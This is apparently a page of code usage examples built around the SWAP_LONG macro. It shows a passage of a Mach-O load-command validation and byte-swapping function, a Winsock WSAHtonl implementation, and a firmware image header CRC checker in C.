				    "not HPPA_FRAME_THREAD_STATE_COUNT for "
				    "flavor number %lu which is a HPPA_FRAME"
				    "_THREAD_STATE flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    frame = (struct hp_pa_frame_thread_state *)state;
			    state += sizeof(struct hp_pa_frame_thread_state);
			    break;
			case HPPA_FP_THREAD_STATE:
			    if(count != HPPA_FP_THREAD_STATE_COUNT){
				error("in swap_object_headers(): malformed "
				    "load commands (count "
				    "not HPPA_FP_THREAD_STATE_COUNT for "
				    "flavor number %lu which is a HPPA_FP"
				    "_THREAD_STATE flavor in %s command %lu)",
				    nflavor, ut->cmd == LC_UNIXTHREAD ? 
				    "LC_UNIXTHREAD" : "LC_THREAD", i);
				return(FALSE);
			    }
			    fpu = (struct hp_pa_fp_thread_state *)state;
			    state += sizeof(struct hp_pa_fp_thread_state);
			    break;
			default:
			    error("in swap_object_headers(): malformed "
				"load commands (unknown "
				"flavor %lu for flavor number %lu in %s command"
				" %lu can't byte swap it)", flavor, nflavor,
				ut->cmd == LC_UNIXTHREAD ? "LC_UNIXTHREAD" :
				"LC_THREAD", i);
			    return(FALSE);
			}
			nflavor++;
		    }
		    break;
		}
		if(cputype == CPU_TYPE_SPARC) {
		  struct sparc_thread_state_regs *cpu;
		  struct sparc_thread_state_fpu *fpu;

		  nflavor = 0;
		  p = (char *)ut + ut->cmdsize;
		  while (state < p) {
		    flavor = *((unsigned long *) state);
		    state += sizeof(unsigned long);
		    count = *((unsigned int *) state);
		    state += sizeof(unsigned long);
		    switch (flavor) {
		    case SPARC_THREAD_STATE_REGS:
		      if (count != SPARC_THREAD_STATE_REGS_COUNT) {
			error("in swap_object_headers(): malformed "
			      "load commands (count "
			      "not SPARC_THREAD_STATE_REGS_COUNT for "
			      "flavor number %lu which is a SPARC_THREAD_"
			      "STATE_REGS flavor in %s command %lu)",
			      nflavor, ut->cmd == LC_UNIXTHREAD ? 
			      "LC_UNIXTHREAD" : "LC_THREAD", i);
			return(FALSE);
		      }
		      cpu = (struct sparc_thread_state_regs *) state;
		      state += sizeof(struct sparc_thread_state_regs);
		      break;
		    case SPARC_THREAD_STATE_FPU:
		      if (count != SPARC_THREAD_STATE_FPU_COUNT) {
			error("in swap_object_headers(): malformed "
			      "load commands (count "
			      "not SPARC_THREAD_STATE_FPU_COUNT for "
			      "flavor number %lu which is a SPARC_THREAD_"
			      "STATE_FPU flavor in %s command %lu)",
			      nflavor, ut->cmd == LC_UNIXTHREAD ? 
			      "LC_UNIXTHREAD" : "LC_THREAD", i);
			return(FALSE);
		      }
		      fpu = (struct sparc_thread_state_fpu *) state;
		      state += sizeof(struct sparc_thread_state_fpu);
		      break;
		    }
		  }
		  break;
		}

        if (cputype == CPU_TYPE_ARM) {
            nflavor = 0;

            p = (char *)ut + ut->cmdsize;
            while (state < p) {
                state += 8 + sizeof(arm_thread_state_t);
                nflavor++; 
            }
            break;
        }
		    
		error("in swap_object_headers(): malformed load commands "
		    "(unknown cputype (%d) and cpusubtype (%d) of object and "
                    "can't byte swap %s command %lu)", cputype, 
		    cpusubtype, ut->cmd == LC_UNIXTHREAD ?
		    "LC_UNIXTHREAD" : "LC_THREAD", i);
		return(FALSE);
	    case LC_IDENT:
		id = (struct ident_command *)lc;
		if((char *)id + id->cmdsize >
		   (char *)load_commands + sizeofcmds){
		    error("in swap_object_headers(): truncated or malformed "
			"load commands (cmdsize field of LC_IDENT command %lu "
			"extends past the end of the load commands)", i);
		    return(FALSE);
		}
		break;

	    case LC_ROUTINES:
		rc = (struct routines_command *)lc;
		if(rc->cmdsize != sizeof(struct routines_command)){
		    error("in swap_object_headers(): malformed load commands ("
			  "LC_ROUTINES command %lu has incorrect cmdsize",
			  i);
		    return(FALSE);
		}
		break;

	    case LC_ROUTINES_64:
		rc64 = (struct routines_command_64 *)lc;
		if(rc64->cmdsize != sizeof(struct routines_command_64)){
		    error("in swap_object_headers(): malformed load commands ("
			  "LC_ROUTINES_64 command %lu has incorrect cmdsize",
			  i);
		    return(FALSE);
		}
		break;

	    case LC_TWOLEVEL_HINTS:
		hints = (struct twolevel_hints_command *)lc;
		if(hints->cmdsize != sizeof(struct twolevel_hints_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_TWOLEVEL_HINTS command %lu has incorrect "
			  "cmdsize", i);
		    return(FALSE);
		}
		break;

	    case LC_PREBIND_CKSUM:
		cs = (struct prebind_cksum_command *)lc;
		if(cs->cmdsize != sizeof(struct prebind_cksum_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_PREBIND_CKSUM command %lu has incorrect cmdsize",
			  i);
		    return(FALSE);
		}
		break;

	    case LC_UUID:
		uuid = (struct uuid_command *)lc;
		if(uuid->cmdsize != sizeof(struct uuid_command)){
		    error("in swap_object_headers(): malformed load commands "
			  "(LC_UUID command %lu has incorrect cmdsize", i);
		    return(FALSE);
		}
		break;

	    default:
		error("in swap_object_headers(): malformed load commands "
		      "(unknown load command %lu)", i);
		return(FALSE);
	    }

	    lc = (struct load_command *)((char *)lc + l.cmdsize);
	    /* check that next load command does not extends past the end */
	    if((char *)lc > (char *)load_commands + sizeofcmds){
		error("in swap_object_headers(): truncated or malformed load "
		      "commands (load command %lu extends past the end of all "
		      "load commands)", i + 1);
		return(FALSE);
	    }
	}
	/* check for an inconsistent size of the load commands */
	if((char *)load_commands + sizeofcmds != (char *)lc){
	    error("in swap_object_headers(): malformed load commands "
		  "(inconsistent sizeofcmds field in mach header)");
	    return(FALSE);
	}


	/*
	 * Now knowing the load commands can be parsed swap them.
	 */
	target_byte_sex = get_host_byte_sex() == BIG_ENDIAN_BYTE_SEX ?
			  LITTLE_ENDIAN_BYTE_SEX : BIG_ENDIAN_BYTE_SEX;
	for(i = 0, lc = load_commands; i < ncmds; i++){
	    l = *lc;
	    switch(lc->cmd){
	    case LC_SEGMENT:
		sg = (struct segment_command *)lc;
		s = (struct section *)
		    ((char *)sg + sizeof(struct segment_command));
		swap_section(s, sg->nsects, target_byte_sex);
		swap_segment_command(sg, target_byte_sex);
		break;

	    case LC_SEGMENT_64:
		sg64 = (struct segment_command_64 *)lc;
		s64 = (struct section_64 *)
		      ((char *)sg64 + sizeof(struct segment_command_64));
		swap_section_64(s64, sg64->nsects, target_byte_sex);
		swap_segment_command_64(sg64, target_byte_sex);
		break;

	    case LC_SYMTAB:
		st = (struct symtab_command *)lc;
		swap_symtab_command(st, target_byte_sex);
		break;

	    case LC_DYSYMTAB:
		dyst = (struct dysymtab_command *)lc;
		swap_dysymtab_command(dyst, target_byte_sex);
		break;

	    case LC_SYMSEG:
		ss = (struct symseg_command *)lc;
		swap_symseg_command(ss, target_byte_sex);
		break;

	    case LC_IDFVMLIB:
	    case LC_LOADFVMLIB:
		fl = (struct fvmlib_command *)lc;
		swap_fvmlib_command(fl, target_byte_sex);
		break;

	    case LC_ID_DYLIB:
	    case LC_LOAD_DYLIB:
	    case LC_LOAD_WEAK_DYLIB:
		dl = (struct dylib_command *)lc;
		swap_dylib_command(dl, target_byte_sex);
		break;

	    case LC_SUB_FRAMEWORK:
		sub = (struct sub_framework_command *)lc;
		swap_sub_framework_command(sub, target_byte_sex);
		break;

	    case LC_SUB_UMBRELLA:
		usub = (struct sub_umbrella_command *)lc;
		swap_sub_umbrella_command(usub, target_byte_sex);
		break;

	    case LC_SUB_LIBRARY:
		lsub = (struct sub_library_command *)lc;
		swap_sub_library_command(lsub, target_byte_sex);
		break;

	    case LC_SUB_CLIENT:
		csub = (struct sub_client_command *)lc;
		swap_sub_client_command(csub, target_byte_sex);
		break;

	    case LC_PREBOUND_DYLIB:
		pbdylib = (struct prebound_dylib_command *)lc;
		swap_prebound_dylib_command(pbdylib, target_byte_sex);
		break;

	    case LC_ID_DYLINKER:
	    case LC_LOAD_DYLINKER:
		dyld = (struct dylinker_command *)lc;
		swap_dylinker_command(dyld, target_byte_sex);
		break;

	    case LC_UNIXTHREAD:
	    case LC_THREAD:
		ut = (struct thread_command *)lc;
		state = (char *)ut + sizeof(struct thread_command);
		p = (char *)ut + ut->cmdsize;
		swap_thread_command(ut, target_byte_sex);

	    	if(cputype == CPU_TYPE_MC680x0){
		    struct m68k_thread_state_regs *cpu;
		    struct m68k_thread_state_68882 *fpu;
		    struct m68k_thread_state_user_reg *user_reg;

		    while(state < p){
			flavor = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(flavor);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(count);
			state += sizeof(unsigned long);
			switch(flavor){
			case M68K_THREAD_STATE_REGS:
			    cpu = (struct m68k_thread_state_regs *)state;
			    swap_m68k_thread_state_regs(cpu, target_byte_sex);
			    state += sizeof(struct m68k_thread_state_regs);
			    break;
			case M68K_THREAD_STATE_68882:
			    fpu = (struct m68k_thread_state_68882 *)state;
			    swap_m68k_thread_state_68882(fpu, target_byte_sex);
			    state += sizeof(struct m68k_thread_state_68882);
			    break;
			case M68K_THREAD_STATE_USER_REG:
			    user_reg =
				(struct m68k_thread_state_user_reg *)state;
			    swap_m68k_thread_state_user_reg(user_reg,
							    target_byte_sex);
			    state += sizeof(struct m68k_thread_state_user_reg);
			    break;
			}
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_POWERPC ||
	    	   cputype == CPU_TYPE_VEO ||
		   cputype == CPU_TYPE_POWERPC64){
		    ppc_thread_state_t *cpu;
		    ppc_thread_state64_t *cpu64;
		    ppc_float_state_t *fpu;
		    ppc_exception_state_t *except;

		    while(state < p){
			flavor = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(flavor);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(count);
			state += sizeof(unsigned long);
			switch(flavor){
			case PPC_THREAD_STATE:
			    cpu = (ppc_thread_state_t *)state;
			    swap_ppc_thread_state_t(cpu, target_byte_sex);
			    state += sizeof(ppc_thread_state_t);
			    break;
			case PPC_THREAD_STATE64:
			    cpu64 = (ppc_thread_state64_t *)state;
			    swap_ppc_thread_state64_t(cpu64, target_byte_sex);
			    state += sizeof(ppc_thread_state64_t);
			    break;
			case PPC_FLOAT_STATE:
			    fpu = (ppc_float_state_t *)state;
			    swap_ppc_float_state_t(fpu, target_byte_sex);
			    state += sizeof(ppc_float_state_t);
			case PPC_EXCEPTION_STATE:
			    except = (ppc_exception_state_t *)state;
			    swap_ppc_exception_state_t(except, target_byte_sex);
			    state += sizeof(ppc_exception_state_t);
			    break;
			}
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_MC88000){
		    m88k_thread_state_grf_t *cpu;
		    m88k_thread_state_xrf_t *fpu;
		    m88k_thread_state_user_t *user;
		    m88110_thread_state_impl_t *spu;

		    while(state < p){
			flavor = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(flavor);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(count);
			state += sizeof(unsigned long);
			switch(flavor){
			case M88K_THREAD_STATE_GRF:
			    cpu = (m88k_thread_state_grf_t *)state;
			    swap_m88k_thread_state_grf_t(cpu,
							 target_byte_sex);
			    state += sizeof(m88k_thread_state_grf_t);
			    break;
			case M88K_THREAD_STATE_XRF:
			    fpu = (m88k_thread_state_xrf_t *)state;
			    swap_m88k_thread_state_xrf_t(fpu,
							 target_byte_sex);
			    state += sizeof(m88k_thread_state_xrf_t);
			    break;
			case M88K_THREAD_STATE_USER:
			    user = (m88k_thread_state_user_t *)state;
			    swap_m88k_thread_state_user_t(user,
							  target_byte_sex);
			    state += sizeof(m88k_thread_state_user_t);
			    break;
			case M88110_THREAD_STATE_IMPL:
			    spu = (m88110_thread_state_impl_t *)state;
			    swap_m88110_thread_state_impl_t(spu,
							  target_byte_sex);
			    state += sizeof(m88110_thread_state_impl_t);
			    break;
			}
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_I860){
		    struct i860_thread_state_regs *cpu;

		    while(state < p){
			flavor = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(flavor);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(count);
			state += sizeof(unsigned long);
			switch(flavor){
			case I860_THREAD_STATE_REGS:
			    cpu = (struct i860_thread_state_regs *)state;
			    swap_i860_thread_state_regs(cpu, target_byte_sex);
			    state += sizeof(struct i860_thread_state_regs);
			    break;
			}
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_I386
#ifdef x86_THREAD_STATE64
		   || cputype == CPU_TYPE_X86_64
#endif /* x86_THREAD_STATE64 */
		   ){
		    i386_thread_state_t *cpu;
#ifdef x86_THREAD_STATE64
		    x86_thread_state64_t *cpu64;
#endif /* x86_THREAD_STATE64 */
/* current i386 thread states */
#if i386_THREAD_STATE == 1
		    struct i386_float_state *fpu;
		    i386_exception_state_t *exc;
#endif /* i386_THREAD_STATE == 1 */

/* i386 thread states on older releases */
#if i386_THREAD_STATE == -1
		    i386_thread_fpstate_t *fpu;
		    i386_thread_exceptstate_t *exc;
		    i386_thread_cthreadstate_t *user;
#endif /* i386_THREAD_STATE == -1 */

		    while(state < p){
			flavor = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(flavor);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(count);
			state += sizeof(unsigned long);
			switch(flavor){
			case i386_THREAD_STATE:
/* current i386 thread states */
#if i386_THREAD_STATE == 1
			case -1:
#endif /* i386_THREAD_STATE == 1 */
/* i386 thread states on older releases */
#if i386_THREAD_STATE == -1
			case 1:
#endif /* i386_THREAD_STATE == -1 */
			    cpu = (i386_thread_state_t *)state;
			    swap_i386_thread_state(cpu, target_byte_sex);
			    state += sizeof(i386_thread_state_t);
			    break;
/* current i386 thread states */
#if i386_THREAD_STATE == 1
			case i386_FLOAT_STATE:
			    fpu = (struct i386_float_state *)state;
			    swap_i386_float_state(fpu, target_byte_sex);
			    state += sizeof(struct i386_float_state);
			    break;
			case i386_EXCEPTION_STATE:
			    exc = (i386_exception_state_t *)state;
			    swap_i386_exception_state(exc, target_byte_sex);
			    state += sizeof(i386_exception_state_t);
			    break;
#endif /* i386_THREAD_STATE == 1 */

/* i386 thread states on older releases */
#if i386_THREAD_STATE == -1
			case i386_THREAD_FPSTATE:
			    fpu = (i386_thread_fpstate_t *)state;
			    swap_i386_thread_fpstate(fpu, target_byte_sex);
			    state += sizeof(i386_thread_fpstate_t);
			    break;
			case i386_THREAD_EXCEPTSTATE:
			    exc = (i386_thread_exceptstate_t *)state;
			    swap_i386_thread_exceptstate(exc, target_byte_sex);
			    state += sizeof(i386_thread_exceptstate_t);
			    break;
			case i386_THREAD_CTHREADSTATE:
			    user = (i386_thread_cthreadstate_t *)state;
			    swap_i386_thread_cthreadstate(user,target_byte_sex);
			    state += sizeof(i386_thread_cthreadstate_t);
			    break;
#endif /* i386_THREAD_STATE == -1 */
#ifdef x86_THREAD_STATE64
			case x86_THREAD_STATE64:
			    cpu64 = (x86_thread_state64_t *)state;
			    swap_x86_thread_state64(cpu64, target_byte_sex);
			    state += sizeof(x86_thread_state64_t);
			    break;
#endif /* x86_THREAD_STATE64 */
			}
		    }
		    break;
		}
	    	if(cputype == CPU_TYPE_HPPA){
		    struct hp_pa_integer_thread_state *cpu;
		    struct hp_pa_frame_thread_state *frame;
		    struct hp_pa_fp_thread_state *fpu;

		    while(state < p){
			flavor = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(flavor);
			state += sizeof(unsigned long);
			count = *((unsigned long *)state);
			*((unsigned long *)state) = SWAP_LONG(count);
			state += sizeof(unsigned long);
			switch(flavor){
			case HPPA_INTEGER_THREAD_STATE:
			    cpu = (struct hp_pa_integer_thread_state *)state;
			    swap_hppa_integer_thread_state(cpu,
							 target_byte_sex);
			    state += sizeof(struct hp_pa_integer_thread_state);
			    break;
			case HPPA_FRAME_THREAD_STATE:
			    frame = (struct hp_pa_frame_thread_state *)state;
			    swap_hppa_frame_thread_state(frame,
							 target_byte_sex);
			    state += sizeof(struct hp_pa_frame_thread_state);
			    break;
			case HPPA_FP_THREAD_STATE:
			    fpu = (struct hp_pa_fp_thread_state *)state;
			    swap_hppa_fp_thread_state(fpu,
						     target_byte_sex);
			    state += sizeof(struct hp_pa_fp_thread_state);
			    break;
			}
		    }
		    break;
		}

		if(cputype == CPU_TYPE_SPARC) {
		  struct sparc_thread_state_regs *cpu;
		  struct sparc_thread_state_fpu *fpu;

		  while (state < p) {
		    flavor = *((unsigned long *) state);
		    *((unsigned long *) state) = SWAP_LONG(flavor);
		    state += sizeof(unsigned long);
		    count = *((unsigned int *) state);
		    *((unsigned int *) state) = SWAP_LONG(count);
		    state += sizeof(unsigned long);
		    switch (flavor) {
		    case SPARC_THREAD_STATE_REGS:
		      cpu = (struct sparc_thread_state_regs *) state;
		      swap_sparc_thread_state_regs(cpu, target_byte_sex);
		      state += sizeof(struct sparc_thread_state_regs);
		      break;
		    case SPARC_THREAD_STATE_FPU:
		      fpu = (struct sparc_thread_state_fpu *) state;
		      swap_sparc_thread_state_fpu(fpu, target_byte_sex);
		      state += sizeof(struct sparc_thread_state_fpu);
		      break;
		    }
		  }
		  break;
		}

        if (cputype == CPU_TYPE_ARM) {
            arm_thread_state_t *thread_state;
            while (state < p) {
                u_int32_t n;
                n = *((u_int32_t *)state); *((u_int32_t *)state) = SWAP_LONG(n);
                state += 4;
                n = *((u_int32_t *)state); *((u_int32_t *)state) = SWAP_LONG(n);
                state += 4;
                thread_state = (arm_thread_state_t *)state;
                swap_arm_thread_state(thread_state, target_byte_sex);
                state += sizeof(arm_thread_state_t);
            }
        }
        
		break;

	    case LC_IDENT:
		id = (struct ident_command *)lc;
		swap_ident_command(id, target_byte_sex);
		break;

	    case LC_ROUTINES:
		rc = (struct routines_command *)lc;
		swap_routines_command(rc, target_byte_sex);
		break;

	    case LC_ROUTINES_64:
		rc64 = (struct routines_command_64 *)lc;
		swap_routines_command_64(rc64, target_byte_sex);
		break;

	    case LC_TWOLEVEL_HINTS:
		hints = (struct twolevel_hints_command *)lc;
		swap_twolevel_hints_command(hints, target_byte_sex);
		break;

	    case LC_PREBIND_CKSUM:
		cs = (struct prebind_cksum_command *)lc;
		swap_prebind_cksum_command(cs, target_byte_sex);
		break;

	    case LC_UUID:
		uuid = (struct uuid_command *)lc;
		swap_uuid_command(uuid, target_byte_sex);
		break;
	    }

	    lc = (struct load_command *)((char *)lc + l.cmdsize);
	}
	if(mh != NULL)
	    swap_mach_header(mh, target_byte_sex);
	else
	    swap_mach_header_64(mh64, target_byte_sex);

	return(TRUE);
}
Ejemplo n.º 25
0
int WSAAPI
WSAHtonl (
    IN SOCKET s,
    IN u_long hostlong,
    OUT u_long FAR * lpnetlong
    )
/*++
Routine Description:

    Convert a u_long from a specified host byte order to network byte
    order.

Arguments:

    s - A descriptor identifying a socket.

    hostlong - A 32-bit number in host byte order.

    lpnetlong - A pointer to a 32-bit number in network byte order.


Returns:
    If no error occurs, WSAHtonl() returns 0. Otherwise, a value of
    SOCKET_ERROR is returned.

--*/
{
    PDSOCKET            Socket;
    INT                 ErrorCode;
    PPROTO_CATALOG_ITEM CatalogEntry;
    LPWSAPROTOCOL_INFOW ProtocolInfo;

    ErrorCode = TURBO_PROLOG();
    if (ErrorCode==ERROR_SUCCESS) {

		if( lpnetlong == NULL ) {
			SetLastError( WSAEFAULT );
			return(SOCKET_ERROR);
		}

		Socket = DSOCKET::GetCountedDSocketFromSocket(s);
		if(Socket != NULL){
			CatalogEntry = Socket->GetCatalogItem();
			ProtocolInfo = CatalogEntry->GetProtocolInfo();

            __try {
			    if (LITTLEENDIAN == ProtocolInfo->iNetworkByteOrder) {
				    *lpnetlong = hostlong;
			    } //if
			    else {
				    *lpnetlong = SWAP_LONG( hostlong );
			    } //else
                ErrorCode = ERROR_SUCCESS;
            }
            __except (WS2_EXCEPTION_FILTER()) {
                ErrorCode = WSAEFAULT;
            }

			Socket->DropDSocketReference();
            if (ErrorCode==ERROR_SUCCESS)
                return ErrorCode;
		} //if
		else
Ejemplo n.º 26
0
int
checkcrc(char *fname)
{
	int ifd;
	uint32_t checksum;
	struct stat sbuf;
	unsigned char *ptr;
	image_header_t header2;
	image_header_t *hdr, *hdr2=&header2;
	char *imagefile;
	int ret=0;

	imagefile = fname;
//	fprintf(stderr, "img file: %s\n", imagefile);

	ifd = open(imagefile, O_RDONLY|O_BINARY);

	if (ifd < 0) {
		fprintf (stderr, "Can't open %s: %s\n",
			imagefile, strerror(errno));
		ret=-1;
		goto checkcrc_end;
	}

	memset (hdr2, 0, sizeof(image_header_t));

	/* We're a bit of paranoid */
#if defined(_POSIX_SYNCHRONIZED_IO) && !defined(__sun__) && !defined(__FreeBSD__)
	(void) fdatasync (ifd);
#else
	(void) fsync (ifd);
#endif
	if (fstat(ifd, &sbuf) < 0) {
		fprintf (stderr, "Can't stat %s: %s\n",
			imagefile, strerror(errno));
		ret=-1;
		goto checkcrc_fail;
	}

	ptr = (unsigned char *)mmap(0, sbuf.st_size,
				    PROT_READ, MAP_SHARED, ifd, 0);
	if (ptr == (unsigned char *)MAP_FAILED) {
		fprintf (stderr, "Can't map %s: %s\n",
			imagefile, strerror(errno));
		ret=-1;
		goto checkcrc_fail;
	}
	hdr = (image_header_t *)ptr;
/*
	checksum = crc32_sp (0,
			  (const char *)(ptr + sizeof(image_header_t)),
			  sbuf.st_size - sizeof(image_header_t)
			 );
	fprintf(stderr,"data crc: %X\n", checksum);
	fprintf(stderr,"org data crc: %X\n", SWAP_LONG(hdr->ih_dcrc));
//	if (checksum!=SWAP_LONG(hdr->ih_dcrc))
//		return -1;
*/
	memcpy (hdr2, hdr, sizeof(image_header_t));
	memset(&hdr2->ih_hcrc, 0, sizeof(uint32_t));
	
	checksum = crc_calc(0,(const char *)hdr2,sizeof(image_header_t));

	fprintf(stderr, "header crc: %X\n", checksum);
	fprintf(stderr, "org header crc: %X\n", SWAP_LONG(hdr->ih_hcrc));

	if (checksum!=SWAP_LONG(hdr->ih_hcrc))
	{
		ret=-1;
		goto checkcrc_fail;
	}

	(void) munmap((void *)ptr, sbuf.st_size);

	/* We're a bit of paranoid */
checkcrc_fail:
#if defined(_POSIX_SYNCHRONIZED_IO) && !defined(__sun__) && !defined(__FreeBSD__)
	(void) fdatasync (ifd);
#else
	(void) fsync (ifd);
#endif
	if (close(ifd)) {
		fprintf (stderr, "Read error on %s: %s\n",
			imagefile, strerror(errno));
		ret=-1;
	}
checkcrc_end:
	return ret;
}